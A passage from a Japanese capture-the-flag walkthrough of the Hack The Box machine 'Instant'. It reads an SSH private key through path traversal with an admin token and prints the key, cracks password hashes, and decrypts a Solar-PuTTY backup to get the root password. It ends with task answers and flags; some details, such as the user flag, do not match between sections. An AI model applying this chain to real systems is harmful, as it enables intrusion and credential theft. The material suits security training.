(3) SSHの秘密鍵ファイル(/home/shirohige/.ssh/authorized_keys)を取得して、ファイルに保存する。

$ curl http://mywalletv1.instant.htb/api/v1/admin/read/log?log_file_name=../../../home/shirohige/.ssh/id_rsa -H "Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq -r '.[].[]' > shirohige.pem

$ cat shirohige.pem
-----BEGIN OPENSSH PRIVATE KEY-----

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

-----END OPENSSH PRIVATE KEY-----


(4) 取得した秘密鍵を用いてSSHでログインする。

$ chmod 600 shirohige.pem


$ ssh -i shirohige.pem shirohige@instant.htb
   →shirohigeユーザーのプロンプト(shirohige@instant:~$)が表示される。


(5) 現在ログインしているユーザー情報を確認すると、shirohigeユーザーであることが分かる。

$ id
uid=1001(shirohige) gid=1002(shirohige) groups=1002(shirohige),1001(development)

$ whoami
shirohige


(6) 一般ユーザー用のフラグファイルを確認する。

$ ls -l
total 12
drwxrwxr-x 2 shirohige shirohige 4096 Oct  4  2024 logs
drwxrwxr-x 3 shirohige shirohige 4096 Oct  4  2024 projects
-rw-r----- 1 root      shirohige   33 May  2 15:16 user.txt

$ cat /home/shirohige/user.txt
70403e995a4192f8c72371202566d428


サーバの設定及びプロセス調査


(1) sudoコマンドの設定を確認しようとするが、パスワードが分からないため確認できない。

$ sudo -l
[sudo] password for shirohige:


(2) SUIDファイルを検索するが、特に気になるファイルはない。

$ find / -perm -u=s -type f 2> /dev/null
/usr/bin/sudo
/usr/bin/mount
/usr/bin/umount
/usr/bin/fusermount3
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/gpasswd
/usr/lib/snapd/snap-confine
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper


(3) Apacheの設定ファイル(000-default.conf)を確認する。

$ cat /etc/apache2/sites-enabled/000-default.conf | grep -v '\#'
<VirtualHost *:80>
        ServerName instant.htb

        RewriteEngine On
        <Directory "/var/www/html">
            AllowOverride All
            Require all granted
        </Directory>

        RewriteCond %{HTTP_HOST} !^instant\.htb$ [NC]
        RewriteRule ^(.*)$ http://instant.htb$1 [R=301,L]

        ServerAdmin support@instant.htb
        DocumentRoot /var/www/html


        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>


(4) Apacheの設定ファイル(instant-app.conf)を確認すると、8888番ポートでリバースプロキシで動作していることが分かる。

$ cat /etc/apache2/sites-enabled/instant-app.conf
<VirtualHost *:80>
        ServerName mywalletv1.instant.htb
        ProxyPreserveHost On
        ProxyPass / http://localhost:8888/
        ProxyPassReverse / http://localhost:8888/
</VirtualHost>


(5) Apacheの設定ファイル(swagger-ui.conf)を確認すると、8808番ポートでリバースプロキシで動作していることが分かる。

$ cat /etc/apache2/sites-enabled/swagger-ui.conf
<VirtualHost *:80>
        ServerName swagger-ui.instant.htb
        ProxyPreserveHost On
        ProxyPass / http://localhost:8808/
        ProxyPassReverse / http://localhost:8808/
</VirtualHost>


(6) 8808番ポートと8888番ポートで起動しているサービスを確認すると、プロセスIDが「pid=1356」と「pid=1352」で起動していることが分かる。

$ ss -lntp | grep -e 8808 -e 8888
LISTEN 0      128        127.0.0.1:8888      0.0.0.0:*    users:(("python3",pid=1352,fd=3))
LISTEN 0      128        127.0.0.1:8808      0.0.0.0:*    users:(("python3",pid=1356,fd=3))


(7) プロセスIDが「1356」と「1352」で起動しているプロセスを確認すると、「/home/shirohige/projects/mywallet/myenv/bin/python3」を用いて「serve.py」と「app.py」を実行していることが分かる。

$ ps -ef | grep 1356
shirohi+    1356       1  0 May02 ?        00:00:36 /home/shirohige/projects/mywallet/myenv/bin/python3 serve.py
shirohi+    3077    3035  0 04:29 pts/0    00:00:00 grep --color=auto 1356


$ ps -ef | grep 1352
shirohi+    1352       1  0 May02 ?        00:00:34 /home/shirohige/projects/mywallet/myenv/bin/python3 app.py
shirohi+    3079    3035  0 04:29 pts/0    00:00:00 grep --color=auto 1352


(8) 「/home/shirohige/projects/mywallet/myenv/bin/」にどのようなファイルがあるか確認するが、特に気になるファイルがない。

$ ls -al /home/shirohige/projects/mywallet/myenv/bin/
total 60
drwxrwxr-x 2 shirohige shirohige 4096 Oct  4  2024 .
drwxrwxr-x 5 shirohige shirohige 4096 Oct  4  2024 ..
-rw-r--r-- 1 shirohige shirohige 9033 Aug  8  2024 Activate.ps1
-rw-r--r-- 1 shirohige shirohige 2068 Aug  8  2024 activate
-rw-r--r-- 1 shirohige shirohige  935 Aug  8  2024 activate.csh
-rw-r--r-- 1 shirohige shirohige 2214 Aug  8  2024 activate.fish
-rwxrwxr-x 1 shirohige shirohige  247 Aug  8  2024 dotenv
-rwxrwxr-x 1 shirohige shirohige  243 Aug  8  2024 flask
-rwxrwxr-x 1 shirohige shirohige  248 Aug  8  2024 jsonschema
-rwxrwxr-x 1 shirohige shirohige  268 Aug  8  2024 normalizer
-rwxrwxr-x 1 shirohige shirohige  256 Aug  8  2024 pip
-rwxrwxr-x 1 shirohige shirohige  256 Aug  8  2024 pip3
-rwxrwxr-x 1 shirohige shirohige  256 Aug  8  2024 pip3.12
lrwxrwxrwx 1 shirohige shirohige    7 Aug  8  2024 python -> python3
lrwxrwxrwx 1 shirohige shirohige   16 Aug  8  2024 python3 -> /usr/bin/python3
lrwxrwxrwx 1 shirohige shirohige    7 Aug  8  2024 python3.12 -> python3


(9) 「app.py」と「serve.py」ファイルの格納場所を検索すると、「/home/shirohige/projects/mywallet/Instant-Api/mywallet/」にあることが分かる。

$ find /home/shirohige/ -name "app.py"
/home/shirohige/projects/mywallet/Instant-Api/mywallet/app.py
/home/shirohige/projects/mywallet/myenv/lib/python3.12/site-packages/flask/app.py
/home/shirohige/projects/mywallet/myenv/lib/python3.12/site-packages/flask/sansio/app.py


$ find /home/shirohige/ -name "serve.py"
/home/shirohige/projects/mywallet/Instant-Api/mywallet/serve.py


(10) /home/shirohige/projects/mywallet/Instant-Api/mywallet内のファイルを確認する。

$ ls -al /home/shirohige/projects/mywallet/Instant-Api/mywallet
total 76
drwxr-xr-x 5 shirohige shirohige  4096 Oct  4  2024 .
drwxr-xr-x 4 shirohige shirohige  4096 Oct  4  2024 ..
-rw-r--r-- 1 shirohige shirohige    71 Aug  8  2024 .env
drwxrwxr-x 2 shirohige shirohige  4096 Oct  4  2024 __pycache__
-rw-r--r-- 1 shirohige shirohige 13255 Oct  2  2024 app.py
drwxr-xr-x 2 shirohige shirohige  4096 May  3 02:39 instance
-rw-r--r-- 1 shirohige shirohige  2231 Jul 21  2024 models.py
-rw-r--r-- 1 shirohige shirohige   584 Aug  2  2024 requirements.txt
-rw-r--r-- 1 shirohige shirohige 25488 Oct  4  2024 serve.py
drwxr-xr-x 2 shirohige shirohige  4096 Oct  4  2024 swagger_configs


(11) /home/shirohige/projects/mywallet/Instant-Api/mywallet内で気になるファイルを確認すると、環境変数ファイル(.env)は特に気になる情報はないが、app.pyファイルにinstant.dbというファイル名のDBを参照していることが分かる。

$ cat /home/shirohige/projects/mywallet/Instant-Api/mywallet/.env
SECRET_KEY=VeryStrongS3cretKeyY0uC4NTGET


$ cat /home/shirohige/projects/mywallet/Instant-Api/mywallet/app.py
ーーー(省略)ーーー
app = Flask(__name__)

app.config['SECRET_KEY'] = os.getenv("SECRET_KEY")
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///instant.db'
app.config['SQLALCHEMY_TRACK_MODIFICATION'] = True

db.init_app(app)
ーーー(省略)ーーー


(12) instant.dbファイルの格納場所を検索する。

$ find /home/shirohige/ -name "instant.db"
/home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/instant.db


(13) SCPでKali Linuxにinstant.dbファイルを取得する。

$ scp -i shirohige1.pem shirohige@instant.htb:/home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/instant.db .


(14) データベース(instant.db)の内容を確認すると、wallet_usersテーブルにinstantAdminユーザーとinstantAdminユーザーのパスワードハッシュ値を確認できる。

※Kali Linux上で以下のコマンドを実行する。

sqlite3 instant.db
  →プロンプト(sqlite>)が返ってくる。


sqlite> .tables
wallet_transactions  wallet_users         wallet_wallets


sqlite> select * from wallet_users;
1|instantAdmin|admin@instant.htb|f0eca6e5-783a-471d-9d8f-0162cbc900db|pbkdf2:sha256:600000$I5bFyb0ZzD69pNX8$e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd978|2024-07-23 00:20:52.529887|87348|Admin|active
2|shirohige|shirohige@instant.htb|458715c9-b15e-467b-8a3d-97bc3fcf3c11|pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed|2024-08-08 20:57:47.909667|42845|instantian|active


sqlite> .exit


パスワードハッシュ値の解析


(1) データベースから取得したパスワードハッシュ値をファイルに保存する。

※Kali Linux上で以下のコマンドを実行する。

$ echo 'pbkdf2:sha256:600000$I5bFyb0ZzD69pNX8$e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd978' > adminhash.txt


$ echo 'pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed' > shirohigehash.txt


(2) ハッシュ値を解析するためにWerkzeug-Crackerを実行する準備をする。

※Kali Linux上で以下のコマンドを実行する。

$ git clone https://github.com/AnataarXVI/Werkzeug-Cracker.git


$ cd Werkzeug-Cracker


$ pip3 install -r requirements.txt
  ※もし「error: externally-managed-environment」のエラーメッセージが表示された場合は以下のコマンドを実行する。
     $ python3 -m venv ~/mypy
     $ source ~/mypy/bin/activate
        →「(mypy)」のプロンプトが表示される。
     $ pip3 install -r requirements.txt
        →正常にインストールされる。


(3) shirohigeのパスワードハッシュ値を解析すると、「estrella」であることが分かる。しかし、どこで使用するパスワードか分からないため、

※Kali Linux上で以下のコマンドを実行する。

$ python3 werkzeug_cracker.py -w /usr/share/wordlists/rockyou.txt -p /home/kali/Downloads/shirohigehash.txt
ーーー(省略)ーーー
Cracking pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed |                                | 105/14445389
Password found: estrella


(4) instantAdminのパスワードハッシュ値を解析するが、パスワードが分からなかった。

※Kali Linux上で以下のコマンドを実行する。

$ python3 werkzeug_cracker.py -w /usr/share/wordlists/rockyou.txt -p /home/kali/Downloads/adminhash.txt
ーーー(省略)ーーー


Solar-PuTTYのファイル調査


(1) 攻撃対象のマシン(Instant)上で他にどのようなファイルがあるか調査すると、/opt/backups/Solar-PuTTYディレクトリがある。

※攻撃対象のマシン(Instant)上で以下のコマンドを実行する。

$ ls -la /opt/
total 12
drwxr-xr-x  3 root      root      4096 Oct  4  2024 .
drwxr-xr-x 23 root      root      4096 Oct  4  2024 ..
drwxr-xr-x  3 shirohige shirohige 4096 Oct  4  2024 backups


$ ls -la /opt/backups/Solar-PuTTY
total 12
drwxr-xr-x 2 shirohige shirohige 4096 Oct  4  2024 .
drwxr-xr-x 3 shirohige shirohige 4096 Oct  4  2024 ..
-rw-r--r-- 1 shirohige shirohige 1100 Sep 30  2024 sessions-backup.dat


(2) sessions-backup.datファイルの内容を確認する。

※攻撃対象のマシン(Instant)上で以下のコマンドを実行する。

$ cat /opt/backups/Solar-PuTTY/sessions-backup.dat
ZJlEkpkqLgj2PlzCyLk4gtCfsGO2CMirJoxxdpclYTlEshKzJwjMCwhDGZzNRr0fNJMlLWfpbdO7l2fEbSl/OzVAmNq0YO94RBxg9p4pwb4upKiVBhRY22HIZFzy6bMUw363zx6lxM4i9kvOB0bNd/4PXn3j3wVMVzpNxuKuSJOvv0fzY/ZjendafYt1Tz1VHbH4aHc8LQvRfW6Rn+5uTQEXyp4jE+ad4DuQk2fbm9oCSIbRO3/OKHKXvpO5Gy7db1njW44Ij44xDgcIlmNNm0m4NIo1Mb/2ZBHw/MsFFoq/TGetjzBZQQ/rM7YQI81SNu9z9VVMe1k7q6rDvpz1Ia7JSe6fRsBugW9D8GomWJNnTst7WUvqwzm29dmj7JQwp+OUpoi/j/HONIn4NenBqPn8kYViYBecNk19Leyg6pUh5RwQw8Bq+6/OHfG8xzbv0NnRxtiaK10KYh++n/Y3kC3t+Im/EWF7sQe/syt6U9q2Igq0qXJBF45Ox6XDu0KmfuAXzKBspkEMHP5MyddIz2eQQxzBznsgmXT1fQQHyB7RDnGUgpfvtCZS8oyVvrrqOyzOYl8f/Ct8iGbv/WO/SOfFqSvPQGBZnqC8Id/enZ1DRp02UdefqBejLW9JvV8gTFj94MZpcCb9H+eqj1FirFyp8w03VHFbcGdP+u915CxGAowDglI0UR3aSgJ1XIz9eT1WdS6EGCovk3na0KCz8ziYMBEl+yvDyIbDvBqmga1F+c2LwnAnVHkFeXVua70A4wtk7R3jn8+7h+3Evjc1vbgmnRjIp2sVxnHfUpLSEq4oGp3QK+AgrWXzfky7CaEEEUqpRB6knL8rZCx+Bvw5uw9u81PAkaI9SlY+60mMflf2r6cGbZsfoHCeDLdBSrRdyGVvAP4oY0LAAvLIlFZEqcuiYUZAEgXgUpTi7UvMVKkHRrjfIKLw0NUQsVY4LVRaa3rOAqUDSiOYn9F+Fau2mpfa3c2BZlBqTfL9YbMQhaaWz6VfzcSEbNTiBsWTTQuWRQpcPmNnoFN2VsqZD7d4ukhtakDHGvnvgr2TpcwiaQjHSwcMUFUawf0Oo2+yV3lwsBIUWvhQw2g=


(3) 「Solar-PuTTY」でGoogle検索すると、Windows マシン用のターミナル エミュレーターであることが分かる。
  [Solar-PuTTYのURL]
    https://www.solarwinds.com/free-tools/solar-putty


(4) SCPでKali Linuxにsessions-backup.datファイルを取得する。

$ scp -i shirohige1.pem shirohige@instant.htb:/opt/backups/Solar-PuTTY/sessions-backup.dat .


(5) 「Solar-PuTTY Decryption」でGoogle検索すると、GithubでSolarPuttyDecryptというツールが見つかりました。
  [SolarPuttyDecryptorのURL]
    https://github.com/Wind010/SolarPuttyDecryptor

(6) Solar-PuTTYのファイルをデコードするために、SolarPuttyDecryptorを実行する準備をする。

※Kali Linux上で以下のコマンドを実行する。

$ git clone https://github.com/Wind010/SolarPuttyDecryptor


$ cd SolarPuttyDecryptor


$ pip3 install -r requirements.txt


(7) Solar-PuTTYのファイルをデコードすると、SSH(22/tcp)でマシンに接続し、rootユーザーのパスワード(12**24nzC!r0c%q12)を入力した際の通信であることが分かる。

※Kali Linux上で以下のコマンドを実行する。

$ python3 SolarPuttyDecryptor.py /home/kali/Downloads/sessions-backup.dat --wordlist /usr/share/wordlists/john.lst
  →以下の内容が出力される。
/home/kali/Downloads/SolarPuttyDecryptor/SolarPuttyDecryptor.py:31: CryptographyDeprecationWarning: TripleDES has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.TripleDES and will be removed from this module in 48.0.0.
  cipher = Cipher(algorithms.TripleDES(key), modes.CBC(iv), backend=default_backend())
? Password=#!comment: This list has been compiled by Solar Designer of Openwall Project is incorrect!
(中略)
? Password=alexandra is incorrect!
? Correct password found on line 2089:  estrella
?????
{
    "Sessions": [
        {
            "Id": "066894ee-635c-4578-86d0-d36d4838115b",
            "Ip": "10.10.11.37",
            "Port": 22,
            "ConnectionType": 1,
            "SessionName": "Instant",
            "Authentication": 0,
            "CredentialsID": "452ed919-530e-419b-b721-da76cbe8ed04",
            "AuthenticateScript": "00000000-0000-0000-0000-000000000000",
            "LastTimeOpen": "0001-01-01T00:00:00",
            "OpenCounter": 1,
            "SerialLine": null,
            "Speed": 0,
            "Color": "#FF176998",
            "TelnetConnectionWaitSeconds": 1,
            "LoggingEnabled": false,
            "RemoteDirectory": ""
        }
    ],
    "Credentials": [
        {
            "Id": "452ed919-530e-419b-b721-da76cbe8ed04",
            "CredentialsName": "instant-root",
            "Username": "root",
            "Password": "12**24nzC!r0c%q12",
            "PrivateKeyPath": "",
            "Passphrase": "",
            "PrivateKeyContent": null
        }
    ],
    "AuthScript": [],
    "Groups": [],
    "Tunnels": [],
    "LogsFolderDestination": "C:__ProgramData__SolarWinds__Logs__Solar-PuTTY__SessionLogs"
}


特権昇格(suコマンドの実行)


(1) suコマンドを実行して、特権昇格する。

$ su 
  →パスワード(12**24nzC!r0c%q12)を入力する。


(2) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。

# whoami
root


# id
uid=0(root) gid=0(root) groups=0(root)


(3) 特権ユーザー用のフラグファイルを確認する。

$ cat /root/root.txt
0690c95e70741d31c98b8611ca0df1ef


[補足] Guided ModeのQA


・Task 1

問題(英語訳):How many open TCP ports are listening on Instant?
問題(日本語訳):Instant でリッスンしている開いている TCP ポートはいくつありますか?

答え:2


・Task 2

問題(英語訳):What is the name of the file the site is offering for download?
問題(日本語訳):サイトがダウンロード用に提供しているファイルの名前は何ですか?

答え:instant.apk


・Task 3

問題(英語訳):What is the full domain name used by the application to make API requests?
問題(日本語訳):アプリケーションが API リクエストを行うために使用する完全なドメイン名は何ですか?

答え:mywalletv1.instant.htb


・Task 4

問題(英語訳):What is the full domain name for the interactive API documentation?
問題(日本語訳):インタラクティブ API ドキュメントの完全なドメイン名は何ですか?

答え:swagger-ui.instant.htb


・Task 5

問題(英語訳):What is the name of the Java class contains a hardcoded authorization token?
問題(日本語訳):ハードコードされた認証トークンを含む Java クラスの名前は何ですか?

答え:AdminActivities


・Task 6

問題(英語訳):What is the name of the file that is intended to be read through admin the API?
問題(日本語訳):管理 API を通じて読み取ることを意図したファイルの名前は何ですか?

答え:1.log


・Task 7

問題(英語訳):What is the full path of the private SSH key that can be read by the API?
問題(日本語訳):API で読み取ることができる秘密 SSH キーのフルパスは何ですか?

答え:/home/shirohige/.ssh/id_rsa


・Submit User Flag

問題(英語訳):Submit the flag located in the shirohige user's home directory.
問題(日本語訳):shirohige ユーザーのホームディレクトリにあるフラグを送信します。

答え:cfcc8d33b15eb275372edb1e8229ff14
※「/home/shirohige/user.txt」ファイルの内容


・Task 9

問題(英語訳):What is the full path of the database file used by the API?
問題(日本語訳):API で使用されるデータベース ファイルのフル パスは何ですか?

答え:/home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/instant.db


・Task 10

問題(英語訳):What is the shirohige user's password for the API?
問題(日本語訳):shirohige ユーザーの API パスワードは何ですか?

答え:estrella


・Task 11

問題(英語訳):What is the full path of the session backup file readable by the shirohige user?
問題(日本語訳):shirohige ユーザーが読み取り可能なセッションバックアップファイルのフルパスは何ですか?

答え:/opt/backups/Solar-PuTTY/sessions-backup.dat


・Task 12

問題(英語訳):What is the root user's password on Instant?
問題(日本語訳):Instant のルートユーザーのパスワードは何ですか?

答え:12**24nzC!r0c%q12


・Submit Root Flag

問題(英語訳):Submit the flag located in the root user's home directory.
問題(日本語訳):ルート ユーザーのホーム ディレクトリにあるフラグを送信します。

答え:0690c95e70741d31c98b8611ca0df1ef
※「/root/root.txt」ファイルの内容。



関連記事(Hack The Box)

※後日作成予定。